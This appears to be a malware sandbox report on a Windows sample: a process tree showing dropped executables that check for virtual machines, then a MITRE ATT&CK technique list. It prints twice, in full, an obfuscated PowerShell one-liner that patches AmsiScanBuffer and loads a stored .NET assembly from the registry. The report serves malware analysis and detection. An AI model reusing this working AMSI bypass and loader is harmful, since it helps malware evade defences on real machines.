1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1716

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:4148

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3992

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4348

C:\Windows\System32\Win-v42.exe
C:\Windows\System32\Win-v42.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4920

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:912

C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3864

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe b9aa9a2127a391c9ceeada121ddc7c9f /TmjnqhnE0y2UHuTfYIX2w.0.1.0.0.0
1⤵
PID:1492
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:2184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:2624

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:3784

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:3332

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:gHFKKsOinwWM{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OJCDciFuisTnsC,[Parameter(Position=1)][Type]$UTmRvihuJH)$prFpfvaJqYy=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+'ted'+[Char](68)+'e'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'Me'+'m'+''+'o'+''+'r'+''+[Char](121)+'M'+'o'+'du'+'l'+'e',$False).DefineType(''+'M'+'y'+[Char](68)+''+[Char](101)+''+'l'+'e'+[Char](103)+''+[Char](97)+''+'t'+''+'e'+''+'T'+''+'y'+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+'P'+'u'+''+[Char](98)+'li'+[Char](99)+''+','+''+'S'+''+'e'+''+'a'+''+[Char](108)+''+'e'+''+'d'+''+[Char](44)+''+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$prFpfvaJqYy.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+'p'+[Char](101)+'c'+'i'+''+[Char](97)+'l'+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+',H'+[Char](105)+'d'+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$OJCDciFuisTnsC).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'im'+'e'+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+[Char](101)+'d');$prFpfvaJqYy.DefineMethod(''+[Char](73)+'nv'+[Char](111)+'k'+'e'+'',''+[Char](80)+'ubl'+[Char](105)+'c'+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g,N'+'e'+'w'+[Char](83)+''+'l'+'o'+[Char](116)+''+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+'ua'+[Char](108)+'',$UTmRvihuJH,$OJCDciFuisTnsC).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+',M'+'a'+'na'+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $prFpfvaJqYy.CreateType();}$PEYDVXqwPBPWm=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'s'+[Char](116)+'e'+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+'U'+[Char](110)+''+[Char](115)+''+[Char](97)+'feN'+'a'+''+[Char](116)+''+'i'+''+'v'+''+[Char](101)+'M'+'e'+''+'t'+'h'+[Char](111)+''+'d'+'s');$FdRZxlcdhEqYrh=$PEYDVXqwPBPWm.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+'r'+'o'+''+[Char](99)+''+[Char](65)+''+'d'+''+'d'+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+','+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$LGUmNlINUzOXCyyulHH=gHFKKsOinwWM @([String])([IntPtr]);$IAYvLRUSPLRGrXjDmgEpBz=gHFKKsOinwWM @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$zRIdaUynrQZ=$PEYDVXqwPBPWm.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+'e'+''+[Char](72)+'and'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'n'+[Char](101)+''+[Char](108)+''+[Char](51)+'2'+'.'+''+[Char](100)+'l'+[Char](108)+'')));$xhhIdOCbvTHlyX=$FdRZxlcdhEqYrh.Invoke($Null,@([Object]$zRIdaUynrQZ,[Object]('L'+'o'+''+[Char](97)+'d'+'L'+''+[Char](105)+''+'b'+''+'r'+'a'+[Char](114)+''+[Char](121)+'A')));$XWsaBWgTbnPsamtuK=$FdRZxlcdhEqYrh.Invoke($Null,@([Object]$zRIdaUynrQZ,[Object](''+[Char](86)+'ir'+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+'ct')));$ZuIkFpM=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xhhIdOCbvTHlyX,$LGUmNlINUzOXCyyulHH).Invoke(''+'a'+''+[Char](109)+''+'s'+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'');$EUSWjhOyaAHUDmdHf=$FdRZxlcdhEqYrh.Invoke($Null,@([Object]$ZuIkFpM,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+'i'+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$jVdEhQOAFg=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XWsaBWgTbnPsamtuK,$IAYvLRUSPLRGrXjDmgEpBz).Invoke($EUSWjhOyaAHUDmdHf,[uint32]8,4,[ref]$jVdEhQOAFg);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](248-117),[Byte](178+57),[Byte](233-233),[Byte](97+87),[Byte](140-53),[Byte](137-137),[Byte](4+3),[Byte](52+76),[Byte](161-30),[Byte](46+188),[Byte](150-150),[Byte](190+5),[Byte](236-105),[Byte](197-4),[Byte](149-149)),0,$EUSWjhOyaAHUDmdHf,232-217);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XWsaBWgTbnPsamtuK,$IAYvLRUSPLRGrXjDmgEpBz).Invoke($EUSWjhOyaAHUDmdHf,[uint32]8,0x20,[ref]$jVdEhQOAFg);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+'$'+'SH'+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:5028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:gHFKKsOinwWM{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OJCDciFuisTnsC,[Parameter(Position=1)][Type]$UTmRvihuJH)$prFpfvaJqYy=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+'ted'+[Char](68)+'e'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'Me'+'m'+''+'o'+''+'r'+''+[Char](121)+'M'+'o'+'du'+'l'+'e',$False).DefineType(''+'M'+'y'+[Char](68)+''+[Char](101)+''+'l'+'e'+[Char](103)+''+[Char](97)+''+'t'+''+'e'+''+'T'+''+'y'+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+'P'+'u'+''+[Char](98)+'li'+[Char](99)+''+','+''+'S'+''+'e'+''+'a'+''+[Char](108)+''+'e'+''+'d'+''+[Char](44)+''+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$prFpfvaJqYy.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+'p'+[Char](101)+'c'+'i'+''+[Char](97)+'l'+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+',H'+[Char](105)+'d'+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$OJCDciFuisTnsC).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'im'+'e'+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+[Char](101)+'d');$prFpfvaJqYy.DefineMethod(''+[Char](73)+'nv'+[Char](111)+'k'+'e'+'',''+[Char](80)+'ubl'+[Char](105)+'c'+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g,N'+'e'+'w'+[Char](83)+''+'l'+'o'+[Char](116)+''+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+'ua'+[Char](108)+'',$UTmRvihuJH,$OJCDciFuisTnsC).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+',M'+'a'+'na'+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $prFpfvaJqYy.CreateType();}$PEYDVXqwPBPWm=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'s'+[Char](116)+'e'+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+'U'+[Char](110)+''+[Char](115)+''+[Char](97)+'feN'+'a'+''+[Char](116)+''+'i'+''+'v'+''+[Char](101)+'M'+'e'+''+'t'+'h'+[Char](111)+''+'d'+'s');$FdRZxlcdhEqYrh=$PEYDVXqwPBPWm.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+'r'+'o'+''+[Char](99)+''+[Char](65)+''+'d'+''+'d'+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+','+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$LGUmNlINUzOXCyyulHH=gHFKKsOinwWM @([String])([IntPtr]);$IAYvLRUSPLRGrXjDmgEpBz=gHFKKsOinwWM @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$zRIdaUynrQZ=$PEYDVXqwPBPWm.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+'e'+''+[Char](72)+'and'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'n'+[Char](101)+''+[Char](108)+''+[Char](51)+'2'+'.'+''+[Char](100)+'l'+[Char](108)+'')));$xhhIdOCbvTHlyX=$FdRZxlcdhEqYrh.Invoke($Null,@([Object]$zRIdaUynrQZ,[Object]('L'+'o'+''+[Char](97)+'d'+'L'+''+[Char](105)+''+'b'+''+'r'+'a'+[Char](114)+''+[Char](121)+'A')));$XWsaBWgTbnPsamtuK=$FdRZxlcdhEqYrh.Invoke($Null,@([Object]$zRIdaUynrQZ,[Object](''+[Char](86)+'ir'+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+'ct')));$ZuIkFpM=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xhhIdOCbvTHlyX,$LGUmNlINUzOXCyyulHH).Invoke(''+'a'+''+[Char](109)+''+'s'+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'');$EUSWjhOyaAHUDmdHf=$FdRZxlcdhEqYrh.Invoke($Null,@([Object]$ZuIkFpM,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+'i'+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$jVdEhQOAFg=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XWsaBWgTbnPsamtuK,$IAYvLRUSPLRGrXjDmgEpBz).Invoke($EUSWjhOyaAHUDmdHf,[uint32]8,4,[ref]$jVdEhQOAFg);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](248-117),[Byte](178+57),[Byte](233-233),[Byte](97+87),[Byte](140-53),[Byte](137-137),[Byte](4+3),[Byte](52+76),[Byte](161-30),[Byte](46+188),[Byte](150-150),[Byte](190+5),[Byte](236-105),[Byte](197-4),[Byte](149-149)),0,$EUSWjhOyaAHUDmdHf,232-217);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XWsaBWgTbnPsamtuK,$IAYvLRUSPLRGrXjDmgEpBz).Invoke($EUSWjhOyaAHUDmdHf,[uint32]8,0x20,[ref]$jVdEhQOAFg);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+'$'+'SH'+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4720

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:3764

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:4776

C:\Windows\system32\UsoClient.exe
C:\Windows\system32\usoclient.exe
1⤵
PID:5080

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:3932

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion